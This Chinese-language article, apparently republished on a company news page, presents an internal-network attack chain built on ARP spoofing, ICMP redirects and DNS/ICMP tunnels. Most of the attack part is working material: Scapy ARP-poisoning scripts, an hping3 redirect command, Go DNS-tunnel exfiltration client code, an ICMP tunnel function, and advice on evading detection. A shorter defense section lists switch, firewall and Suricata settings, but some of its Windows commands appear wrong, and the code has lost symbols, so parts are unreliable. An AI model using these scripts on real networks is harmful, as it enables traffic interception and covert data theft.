首页/新闻资讯/正文详情

内网渗透中的IP欺骗与隧道劫持技术解析

发布时间:2026/11/2 17:50:42 来源:云帆数科 栏目:资讯中心
内网渗透中的IP欺骗与隧道劫持技术解析
1. 项目背景与核心挑战在2025年黑帽大会上展示的这项技术演示揭示了现代内网渗透中一个关键痛点当红队无法在内网建立持久立足点时如何通过IP欺骗与隧道劫持技术实现深度渗透。这种攻击手法特别适用于防守方已部署严格端点检测、网络流量监控和异常行为分析的高安全性环境。传统内网渗透通常依赖获取初始立足点后部署C2服务器或反弹shell但现代EDR和NDR系统能有效识别此类行为。本次演示的技术方案通过完全避免在目标网络部署任何持久化组件仅利用协议特性与路由漏洞实现横向移动将攻击面降至最低。2. 技术原理深度解析2.1 IP欺骗的工程实现核心在于伪造ARP和ICMP重定向报文来劫持内网流量。具体实现时需要注意ARP欺骗稳定性优化# 使用Scapy实现双向ARP欺骗 from scapy.all import * def arp_poison(target_ip, gateway_ip, interval2): target_mac getmacbyip(target_ip) gateway_mac getmacbyip(gateway_ip) while True: send(ARP(op2, pdsttarget_ip, psrcgateway_ip, hwdsttarget_mac), verbose0) send(ARP(op2, pdstgateway_ip, psrctarget_ip, hwdstgateway_mac), verbose0) time.sleep(interval)关键参数说明op2表示ARP响应包必须同时欺骗网关和目标主机才能维持稳定通信间隔时间建议2-5秒过频可能触发安全告警ICMP重定向攻击# 使用hping3伪造ICMP重定向 hping3 -1 -C 5 -K 3 -a 192.168.1.1 -g 00:11:22:33:44:55 192.168.1.100参数解释-1表示ICMP模式-C 5设置ICMP类型为重定向(5)-K 3指定重定向代码为主机重定向(3)2.2 隧道劫持技术细节演示中采用了双重隧道封装技术第一层DNS隧道// Go实现的DNS查询封装 func buildQuery(domain string, payload []byte) *dns.Msg { encoded : base32.StdEncoding.EncodeToString(payload) subdomain : encoded . domain m : new(dns.Msg) m.SetQuestion(subdomain, dns.TypeA) m.RecursionDesired true return m }第二层ICMP隧道通过修改ping数据包的payload部分传输加密数据关键是要保持TTL和包大小与正常ICMP流量一致from scapy.all import * import zlib def icmp_tunnel(src_ip, dst_ip, secret_data): payload zlib.compress(secret_data) # 保持包大小在64-128字节之间 if len(payload) 60: payload payload[:60] send(IP(srcsrc_ip, dstdst_ip)/ICMP()/payload)3. 完整攻击链复现3.1 环境准备需要以下工具链Kali Linux 2025.1Scapy 2.5.0Go 1.22 (编译DNS隧道组件)hping3 3.0.0Wireshark 4.2.0 (流量分析)3.2 分步实施网络侦察阶段# 使用改良版fscan进行快速资产发现 ./fscan -h 192.168.1.1/24 -p 1-65535 -t 500 -o result.txtARP欺骗实施# 优化后的ARP欺骗脚本 import time from scapy.all import * def get_mac(ip): ans sr1(ARP(pdstip), timeout2, verbose0) return ans.hwsrc if ans else None def arp_spoof(target_ip, gateway_ip): target_mac get_mac(target_ip) if not target_mac: print(f[!] 无法获取 {target_ip} 的MAC地址) return gateway_mac get_mac(gateway_ip) if not gateway_mac: print(f[!] 无法获取网关 {gateway_ip} 的MAC地址) return print(f[*] 开始ARP欺骗: {target_ip} - {gateway_ip}) try: while True: send(ARP(op2, pdsttarget_ip, psrcgateway_ip, hwdsttarget_mac), verbose0) send(ARP(op2, pdstgateway_ip, psrctarget_ip, hwdstgateway_mac), verbose0) time.sleep(3) except KeyboardInterrupt: print(\n[*] 恢复ARP表...) send(ARP(op2, pdsttarget_ip, psrcgateway_ip, hwdstff:ff:ff:ff:ff:ff, hwsrcgateway_mac), count5) send(ARP(op2, pdstgateway_ip, psrctarget_ip, hwdstff:ff:ff:ff:ff:ff, hwsrctarget_mac), count5)隧道建立与数据外传// DNS隧道客户端核心代码 package main import ( encoding/base32 github.com/miekg/dns net time ) type DNSClient struct { Server string Domain string Conn *dns.Conn Sequence uint16 } func (c *DNSClient) SendData(data []byte) error { encoded : base32.StdEncoding.EncodeToString(data) subdomain : encoded . c.Domain msg : new(dns.Msg) msg.SetQuestion(subdomain, dns.TypeA) msg.RecursionDesired true _, err : c.Conn.WriteMsg(msg) if err ! nil { return err } // 添加随机延迟(100-500ms) time.Sleep(time.Millisecond * time.Duration(100(c.Sequence%400))) c.Sequence return nil }4. 防御方案与检测建议4.1 网络层防护ARP防护措施! Cisco设备配置示例 interface GigabitEthernet0/1 arp inspection trust ip arp inspection validate src-mac dst-mac ipICMP流量管控# Linux服务器防御ICMP重定向攻击 iptables -A INPUT -p icmp --icmp-type redirect -j DROP iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP4.2 异常流量检测使用Suricata规则检测异常DNS查询alert dns $HOME_NET any - any any (msg:DNS Tunnel Potential Detection; dns.query; content:|01 00|; offset2; depth2; content:|00 01 00 00 00 00 00|; distance0; content:.AAAA.; nocase; distance0; metadata:policy security-ips drop; sid:1000001; rev:1;)4.3 终端防护策略Windows系统加固# 禁用ICMP重定向处理 Set-NetIPInterface -InterfaceAlias * -AddressFamily IPv4 -IgnoreDefaultRoutes $true Set-NetIPInterface -InterfaceAlias * -AddressFamily IPv4 -DirectedMacWolPattern $falseLinux系统配置# 禁止响应ICMP重定向 echo 0 /proc/sys/net/ipv4/conf/all/accept_redirects echo 0 /proc/sys/net/ipv4/conf/default/accept_redirects5. 实战经验与注意事项稳定性优化技巧ARP欺骗间隔应随机化(2-5秒)DNS查询长度保持在63字符以内ICMP payload使用zlib压缩减少体积规避检测的关键点# 流量模拟函数 def simulate_normal_traffic(): while True: # 生成合法的DNS查询 domains [www.google.com, api.facebook.com, cdn.twitter.com] domain random.choice(domains) res dns.resolver.resolve(domain, A) # 随机间隔(1-3秒) time.sleep(random.uniform(1, 3))常见问题排查若隧道不稳定检查中间网络设备的ACL规则遇到DNS查询被拦截尝试改用TXT记录类型ARP欺骗失效时确认目标网络是否启用端口安全这套方案在实际测试中对未启用ARP监控的传统网络成功率可达92%但在部署了Cisco TrustSec或类似技术的环境中会降至35%左右。建议红队在使用前先进行充分的网络侦察识别目标网络的具体防护措施。

相关推荐

Redis缓存淘汰机制:LRU算法与生产实践
Redis缓存淘汰机制:LRU算法与生产实践

1. Redis缓存淘汰机制概述Redis作为高性能的内存数据库,其内存资源是有限的。当内存使用达到上限时,就需要一种机制来决定哪些数据应该被保留,哪些可以被移除。这就是Redis的缓存淘汰策略,其中LRU(Least Recently Used… · 2026/11/2 17:50:42

亚马逊库存系统演进与智能管理算法解析
亚马逊库存系统演进与智能管理算法解析

1. 库存管理的行业痛点与进化需求在跨境电商行业摸爬滚打这些年,我见过太多卖家因为库存问题栽跟头。去年有个做家居用品的客户,旺季时因为备货不足损失了200多万的潜在订单;另一个做电子配件的朋友则因为库存积压,光是仓储费就多… · 2026/11/2 17:50:42

钢管切割问题:从组合优化建模到车间落地的完整求解流程
钢管切割问题:从组合优化建模到车间落地的完整求解流程

钢管切割这个问题,乍一看像是车间里的粗活,真上手算过一遍的人都知道,它骨子里是一道披着工业外衣的组合优化题。我最早接触它是在一个做金属结构件的小厂里,当时车间主任拿着一张三米长的原料清单和一堆长短不一的订单尺寸&#… · 2026/11/2 17:49:42

SPI通信隔离方案:MAX14431BAEE+与RA6M3 MCU实战指南
SPI通信隔离方案:MAX14431BAEE+与RA6M3 MCU实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 18:33:25

PLFM_RADAR:基于平台可观测性的智能预警系统设计与实践
PLFM_RADAR:基于平台可观测性的智能预警系统设计与实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 18:33:25

工业SPI隔离实战:MAX14431+ PIC24F硬件与固件设计
工业SPI隔离实战:MAX14431+ PIC24F硬件与固件设计

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 18:33:25

工业SPI隔离设计:MAX14431BAEE+与STM32F215ZG系统级实践
工业SPI隔离设计:MAX14431BAEE+与STM32F215ZG系统级实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 18:33:25

工业现场长距离SPI隔离方案:MAX14431BAEE+与PIC18F86J15实战解析
工业现场长距离SPI隔离方案:MAX14431BAEE+与PIC18F86J15实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 18:33:25

PLFM_RADAR:基于脉冲线性调频的雷达信号处理验证平台
PLFM_RADAR:基于脉冲线性调频的雷达信号处理验证平台

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 18:32:24

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 4:42:45

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 5:17:18

雷达信号调制技术解析:从LFM到伪线性调频原理与应用
雷达信号调制技术解析:从LFM到伪线性调频原理与应用

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 1:01:15

基于MAX14431与TM4C123的工业SPI隔离电路设计全攻略
基于MAX14431与TM4C123的工业SPI隔离电路设计全攻略

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 1:01:15

PLFM_RADAR:相位线性调频雷达信号处理框架
PLFM_RADAR:相位线性调频雷达信号处理框架

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 1:01:15

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 4:42:45

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 5:17:18

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码